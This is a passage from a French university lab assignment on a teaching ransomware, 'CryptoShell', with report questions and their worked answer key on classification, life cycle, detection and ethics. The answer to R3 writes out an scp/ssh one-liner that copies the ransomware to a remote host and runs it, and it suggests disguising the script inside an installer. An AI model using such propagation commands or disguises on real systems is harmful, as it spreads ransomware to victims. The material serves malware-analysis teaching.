La combinaison des 3 approches permet de minimiser les ***faux négatifs*** *(un malware qui échappe à la signature peut être détecté par l'heuristique ou le comportement) et les* ***faux positifs*** *(un script légitime contenant le mot «xor» ne sera pas flaggé si son comportement est normal).*

Point clé à retenir

- *La détection* ***comportementale*** *(surveiller les patterns d'accès massif aux fichiers + chiffrement) est la plus robuste car elle détecte l'****intention*** *du malware plutôt que sa* ***forme****. C'est le principe des EDR (Endpoint Detection and Response) modernes.*
- *Un bon scanner combine* ***plusieurs types d'IoC*** *pour réduire les faux positifs et les faux négatifs.*
- *L'outil de récupération ne fonctionne que si la clé est présente localement. Dans un ransomware réel, la clé est exfiltrée vers un serveur distant.*

Phase 7 — Rapport d'analyse **[4 points]**

Un template de rapport (`rapport_template.tex`) vous est fourni. Remplissez les sections suivantes :

R1) Classification d'Adleman : Où se situe CryptoShell dans la classification ? Programme simple ou auto-reproducteur ? Justifier.

R2) Cycle de vie : Dessiner (en ASCII art ou schéma) le cycle de vie complet de CryptoShell en identifiant les 3 phases classiques (infection, incubation, maladie). Indiquer quelle phase du TP correspond à chaque étape.

R3) Virus, Ver ou Cheval de Troie : CryptoShell tel qu'implémenté est-il un virus, un ver, ou un cheval de Troie ? Comment le modifier pour qu'il devienne un ver (propagation réseau) ? Comment le transformer en cheval de Troie ?

R4) Comparaison avec les virus de documents : Un macro-virus Word et CryptoShell ciblent tous deux des fichiers de données. Quelles sont les similitudes et différences fondamentales (vecteur d'infection, format cible, interpréteur, persistance) ?

R5) Tableau des IoC par phase : Remplir un tableau complet [Phase | Technique | IoC | Type de détection].

R6) Réflexion éthique : En quoi l'étude de la construction de malware dans un cadre académique est-elle bénéfique pour la cybersécurité ? Citer au moins un exemple concret.

Le rapport est évalué sur la qualité de l'analyse, pas sur la longueur.

Correction 7. ***R1) Classification d'Adleman :***

CryptoShell est un ***programme simple*** *(non auto-reproducteur) dans la classification d'Adleman. Il ne se copie pas dans d'autres programmes : il chiffre les fichiers de la victime et demande une rançon, mais ne se propage pas de lui-même vers d'autres systèmes.*

Cependant, CryptoShell pourrait être ***couplé*** *à un vecteur de propagation :*

- *Couplé à un* ***virus*** *: intégré au code viral, il s'activerait à chaque infection*
- *Couplé à un* ***ver*** *: propagation réseau automatique (comme WannaCry = EternalBlue + ransomware)*

R2) Cycle de vie :

```
+-----------------------------------------------------+
|              CYCLE DE VIE DE CRYPTOSHELL             |
+-----------------------------------------------------+
|                                                      |
|  [Phase 1: Reconnaissance]                           |
|        |                                             |
|        v                                             |
|  INFECTION : Le script est déposé sur le système     |
|  (via phishing, clé USB, exploit...)                 |
|  -> Phase 1 (recon) + Phase 3 (propagation)          |
|        |                                             |
|        v                                             |
|  INCUBATION : Le déclencheur attend sa condition     |
|  (compteur < 5 ou pas dimanche)                      |
|  -> Phase 4 (trigger) + Phase 5 (stealth)            |
|        |                                             |
|        v                                             |
|  MALADIE : Le chiffrement s'active                   |
|  -> Phase 2 (XOR) + Phase 3 (ransom note)            |
|        |                                             |
|        v                                             |
|  [Demande de rançon affichée]                        |
+-----------------------------------------------------+
```

R3) Virus, Ver ou Cheval de Troie :

CryptoShell tel qu'implémenté n'est ***ni un virus ni un ver*** *:*

- *Ce n'est* ***pas un virus*** *car il ne se copie pas dans d'autres programmes exécutables.*

- *Ce n'est* ***pas un ver*** *car il ne se propage pas via le réseau.*

- *C'est un* ***programme malveillant simple*** *(ransomware). Il pourrait être classé comme* ***cheval de Troie*** *s'il était déguisé en programme légitime (ex : intégré dans* `setup_lab.sh`*).*

Pour le transformer en ver : *Ajouter un module de propagation réseau (scanner de ports, exploitation de vulnérabilités SSH, envoi par email). Exemple :* `scp cryptoshell.sh user@$IP:/tmp/ && ssh user@$IP bash /tmp/cryptoshell.sh`*.*

Pour le transformer en cheval de Troie : *L'intégrer dans un programme d'apparence légitime (un script d'installation, un jeu, un utilitaire). L'utilisateur exécute le programme «normal» et CryptoShell s'active en arrière-plan.*

R4) Comparaison avec les virus de documents :

Critère	***Macro-virus Word***	***CryptoShell***
Vecteur	*Macros VBA dans le document*	*Script Bash indépendant*
Format cible	*Fichiers* `.doc`*/*`.docx`	*Fichiers* `.txt`*/*`.dat`
Interpréteur	*Microsoft Word (moteur VBA)*	*Bash (shell Linux)*
Persistance	*S'intègre dans le template Normal.dot*	*Fichiers* `.locked` *+ clé cachée*
Auto-reproduction	*Oui (infecte Normal.dot → tous les documents)*	*Non (pas de propagation)*
Action	*Se propage, peut avoir une charge utile*	*Chiffre les données*

Similitude principale : *Les deux ciblent des fichiers de* ***données*** *(pas des exécutables).*

Différence fondamentale : *Le macro-virus est* ***auto-reproducteur*** *(il infecte le template global puis tous les documents ouverts), tandis que CryptoShell est un* ***programme simple*** *qui ne se reproduit pas.*

R5) *Voir tableau de la Phase 6c (identique).*

R6) Réflexion éthique :
L'étude de la construction de malware dans un cadre académique est bénéfique car :

- ***Comprendre l'attaque pour construire la défense :*** *On ne peut pas détecter efficacement un ransomware sans comprendre son fonctionnement interne (routine de recherche, chiffrement, furtivité).*

- ***Former les futurs défenseurs :*** *Les analystes en cybersécurité doivent pouvoir reverse-engineer un malware pour développer des IoC et des règles de détection.*

- ***Exemple concret :*** *L'analyse du ransomware* ***WannaCry*** *(2017) par le chercheur Marcus Hutchins a permis de découvrir un «kill switch» (un domaine non enregistré vérifié par le malware). En enregistrant ce domaine, Hutchins a stoppé la propagation mondiale du ransomware, sauvant des millions de systèmes. Cette découverte n'a été possible que grâce à une compréhension approfondie du code malveillant.*